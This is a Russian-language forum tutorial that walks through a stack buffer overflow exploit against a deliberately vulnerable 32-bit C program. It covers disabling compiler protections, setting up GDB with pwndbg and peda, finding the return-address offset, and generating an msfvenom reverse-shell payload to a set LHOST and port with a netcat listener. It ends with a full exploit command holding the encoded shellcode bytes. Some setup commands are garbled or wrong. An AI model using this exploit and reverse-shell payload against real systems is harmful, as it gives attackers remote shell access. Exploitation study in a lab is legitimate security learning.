Итак, сегодня создадим эксплоит на основе переполнения буфера. Переполнение буфера - это явление, возникающее, когда компьютерная программа записывает данные за пределами выделенного в памяти буфера! Работа со скриптом Поработаем со скриптом, мы можем взять любую программу, лучше всего работать с программой на C, C++, C# ( если у вас exe, то советую прибегнуть к декомпиляции ), программа UBS v5.0 написана на Delphi v6, вот исходники: Мы сдекомпилили программу! Итак, я будк испрользовать другую программу на C. Для начала сделаем перегон компиляции в GCC - https://gcc.gnu.org/releases.html, предварительно установим библиотеку sudo apt-get install gcc-multilib gcc -g -Wall -Werror -O0 -m32 -fno-stack-protector -z execstack -no-pie -Wl,-z,norelro -mpreferred-stack-boundary=2 -o victim victim.c Так же нам понадобится execstack, он будет блочить ELF и прочие защитные функции когда мы будем работать с программой. Для начала заменим репозиторий в /etc/apt/sources.list на deb http://ftp.de.debian.org/debian stretch main VT- https://www.virustotal.com/gui/file/bd1284945520449b7de0b6a2f7ba022cfe85dfb4e24981d69abc95d034ab93e0 Вот мы и добавили deb репозиторий sudo nano /etc/apt/sources.list && apt update && apt install execstack Если вы компилируете новый исполнимый файл, он уже будет иметь активированный DEP, но убедитесь, что компиляция проведена с использованием опции -fno-stack-protector, т.к. это не обходит stack canaries: execstack -c ./victim && execstack -q ./victim - ./victim Работа с Дебаггером Для начала установим дополнение к дебаггеру GDB, это pwndbg, с его помощью нам будет поудобнее заниматься эксплоитингом, а так же установим библиотеку gdb-peda! Обновим для начала сам GDB: wget https://ftp.gnu.org/gnu/gdb/gdb-11.1.tar.gz && tar gdb-11.1.tar.gz && cd gdb-11.1 && make CXXFLAGS="-static-libstdc++" && sudo make install && apt-get update Мы успешно обновили дебаггер! git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh && git clone https://github.com/longld/peda && cd peda && echo "source ~/peda/peda.py" >> ~/.gdbinit Запустим GDB и увидим, что вместо панели gdb нас встречает pwndbg и gdb-peda, но не пугайтесь, команды остались теже. Запускаем файл: chmod +x victim.c && gcc -g -o victim victim.c && gdb ./victim Наш скрипт Смотрим на полученный результат, а именно в раздел registers, там мы должны найти функцию rdi, для того, что бы её определить обратимся к disas main. Функция disas main позволяет показать дизасемблированный код функции main, которая является самой основной в программе: Функция main нашей программы Создадим паттерн ( мусорный код ), для этого в дебаггере прописываем pattern create 200 ( длинна больше буфера! ), а затем запускаем вместе с ним run Вот наш паттерн Итак, у нас автоматически поставился брикпоинт на оффсете 0x41514141, нужный нам адрес находится в EBP, может находится и в EIP и ESP, собственно нам нужно узнать смещение оффсета, пропишем pattern offset 0x6c414150, как видите сдвиг в 132, мы это используем для shell кода Сдвиг мы нашли! Для этого командой break я поставлю точку останова на инструкцию ret (адрес 0x0804844d — см. листинг ассемблера). break *0x8049060 Вот наш брикпоинт После чего выполню программу, передав в качестве аргумента строку из 132 символов A (мусор, чтобы добраться до адреса возврата), конкатенированную со зловещим значением 0xd34dc0d3 ( \xd3\x4d\xc0\xd3 ). Разворачиваю строку, содержащую адрес, с помощью питоновском механизма работы со срезами [::-1]. run `python -c 'print "A"*132 + "\xd3\x4d\xc0\xd3"[::-1]'` Врт, что выдал дебаггер В начале стекового фрейма $esp-132, и в уме разметить его пространство, чтобы лучше понимать, как шелл-код «ляжет» на стек. Через слеш я укажу формат, в котором хочу получить результат: 200wx для запроса в виде x/200wx $esp-132 Вот, что нам выдало Продолжив выполнение командой continue, мы триггерим выполнение инструкции ret, программа ожидаемо крашится с ошибкой сегментации, и адрес возврата, словно по волшебству, превращается в ожидаемый 0xd34dc0d3: Теперь можно приступать к боевым действиям. Грубый эксплоит для выполнения из интерактивной оболочки GDB выглядит так, посмотрим на адрес EIP, тот самые где переполнен stack, вот он - 0xffffd3cc ( это середина среза NOP ) Вот наш нужный адрес Сменим владельца файла на root, что бы дебаггер мог с лёгкостью работать sudo chown root victim && sudo chgrp root victim && sudo chmod +s victim Немного математики. Давай те посчитаем мусорный код в байтах. Для этого мы сделаем действия: EBP + buf - NOP*2 - Shell ( в цифрах 128 + 4 - 32*2 -33 = 35 ) Вес шелл кода = 33 бит Но это имеющийся shell. Для генерации своего shell кода обратимся к msfvenom, для этого пропишем: msfvenom -p linux/x86/shell_reverse_tcp -e x86/shikata_ga_nai -a x86 --platform linux LHOST=192.168.227.128 LPORT=8989 -f c Вот наш shell Как мы видим, размер 95 бит. Пропишем run для вывода shell код в программу, результат у вас на глазах, так как это reverse_shell, на порту стоит слушатель, поэтому запустим NetCat nc -lvnp 8989 run python -c 'print "A"*132 + "\xbf\xff\xed\xcc"[::-1] + "\x90"*32 + "\xbe\x5f\x8b\x5e\xc6\xd9\xeb\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x12\x83\xc2\x04\x31\x72\x0e\x03\x2d\x85\xbc\x33\xe0\x42\xb7\x5f\x51\x36\x6b\xca\x57\x31\x6a\xba\x31\x8c\xed\x28\xe4\xbe\xd1\x83\x96\xf6\x54\xe5\xfe\xc8\x0f\xf6\x7e\xa0\x4d\xf9\x5d\x2c\xdb\x18\x11\x28\x8b\x8b\x02\x06\x28\xa5\x45\xa5\xaf\xe7\xed\x58\x9f\x74\x85\xcc\xf0\x55\x37\x64\x86\x49\xe5\x25\x11\x6c\xb9\xc1\xec\xef" + "\x90"*32 + "A"' Вот и эксплоит и листенер Thread restrictions: The topic author allowed to post messages in the topic only to the following groups (and higher ranked): Local, Staff Members and Curators